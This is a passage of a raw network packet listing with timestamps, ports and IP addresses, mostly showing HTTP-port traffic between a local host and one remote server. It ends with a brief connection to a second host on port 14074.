Dec 11, 2022 09:25:56.135679007 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135721922 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135727882 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.135766983 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135823011 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.135831118 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135854006 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135896921 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135936975 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.135940075 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135984898 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.135993958 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.136030912 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136075974 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136102915 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.136120081 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136162996 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136185884 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.136207104 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136255026 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136297941 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136320114 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.136343002 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.136344910 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136373043 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136419058 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136424065 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.136447906 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136492968 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136521101 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.136534929 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136579037 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136579037 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.136625051 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136667967 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136677027 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.136712074 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136754036 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136796951 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136796951 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.136840105 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136884928 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136907101 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.136914968 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.136943102 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.136960983 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137001991 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137044907 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137079954 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.137088060 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137120008 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.137131929 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137176037 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137218952 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137238026 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.137264967 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.137278080 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137307882 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137350082 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137392998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137394905 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.137435913 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137479067 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137510061 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.137522936 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137526035 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.137566090 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137609959 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137619019 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.137651920 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137693882 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137739897 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.137741089 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137768984 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137801886 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.137811899 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137855053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137897015 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137938976 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.137949944 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.137981892 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138025999 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138068914 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138082027 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.138113022 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138156891 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138161898 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.138200998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138246059 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138287067 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138320923 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138345957 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.138354063 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138391018 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.138406992 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138432980 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138475895 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138490915 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.138518095 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138520956 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.138561964 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138603926 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138631105 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.138649940 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.138767958 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.159306049 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159374952 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159420013 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159465075 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159509897 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159513950 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.159513950 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.159554005 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159601927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159607887 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.159656048 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159698963 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159754992 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159765959 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.159801006 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159842968 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.159843922 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159889936 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159897089 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.159934998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.159987926 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.159987926 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160008907 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160053968 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160067081 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.160096884 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160139084 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160181046 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160186052 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.160223961 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160238981 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.160293102 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160311937 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160355091 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160377026 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.160398006 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160439968 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160469055 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.160507917 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160511017 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.160561085 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160605907 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160634041 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.160650015 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160705090 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160739899 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.160748959 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160793066 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160835028 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160835028 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.160881042 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160928011 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.160938978 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.160955906 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161000013 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161010981 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.161042929 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161051035 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.161086082 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161129951 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161140919 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.161175966 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161220074 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161246061 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.161266088 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161308050 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161351919 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161401033 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161401033 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.161427021 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161472082 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161484957 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.161528111 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161571980 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161583900 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.161614895 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161658049 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161674976 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.161701918 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161747932 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161783934 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.161792994 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161837101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161843061 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.161881924 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.161962032 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.162029028 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162074089 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162117004 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162122965 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.162161112 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162201881 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162220001 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.162250042 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162292004 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162303925 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.162337065 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162379980 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162427902 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.162431002 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162452936 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162496090 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162507057 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.162539959 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162585974 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162595034 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.162627935 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162672043 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162686110 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.162715912 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162760019 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162776947 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.162802935 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162822962 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.162846088 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162919998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.162956953 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.162964106 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163018942 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163062096 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163069010 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.163104057 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163115978 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.163149118 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163189888 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163207054 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.163235903 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163278103 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163320065 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163331032 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.163372040 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163414001 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163424969 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.163455963 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163500071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163511992 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.163542986 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163548946 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.163587093 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163640976 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163642883 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.163664103 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163707018 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163711071 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.163750887 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163793087 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163799047 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.163836956 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163877964 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163898945 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.163922071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.163964033 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164005041 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164019108 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.164047956 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164053917 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.164100885 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164144993 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164164066 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.164189100 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164233923 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164277077 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164319992 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164331913 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.164362907 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164405107 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164448023 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164463997 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.164489985 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164536953 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164563894 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.164580107 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164623022 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164630890 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.164666891 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164710045 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164730072 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.164748907 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.164752960 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.164797068 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.165524960 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.185538054 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.185604095 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.185648918 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.185693026 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.185717106 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.185738087 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.185776949 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.185786009 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.185832977 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.185875893 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.185916901 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.185920954 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.185944080 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.185966015 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186007977 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186053038 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186067104 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.186095953 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186115980 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.186146975 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186172962 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186211109 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.186219931 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186266899 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186280012 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.186310053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186373949 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186399937 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.186400890 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186444998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186465979 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.186491966 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186534882 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186578035 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186594963 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.186629057 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186636925 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.186652899 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186696053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186705112 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.186741114 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186783075 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186789036 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:56.186830044 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:56.186913013 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:57.818171978 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:59.772907019 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:59.793093920 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:59.860759974 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:25:59.889350891 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:25:59.890110016 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:25:59.890480042 CET	49720	14074	192.168.2.3	84.155.152.82
Dec 11, 2022 09:25:59.918499947 CET	14074	49720	84.155.152.82	192.168.2.3
Dec 11, 2022 09:25:59.919754982 CET	14074	49720	84.155.152.82	192.168.2.3
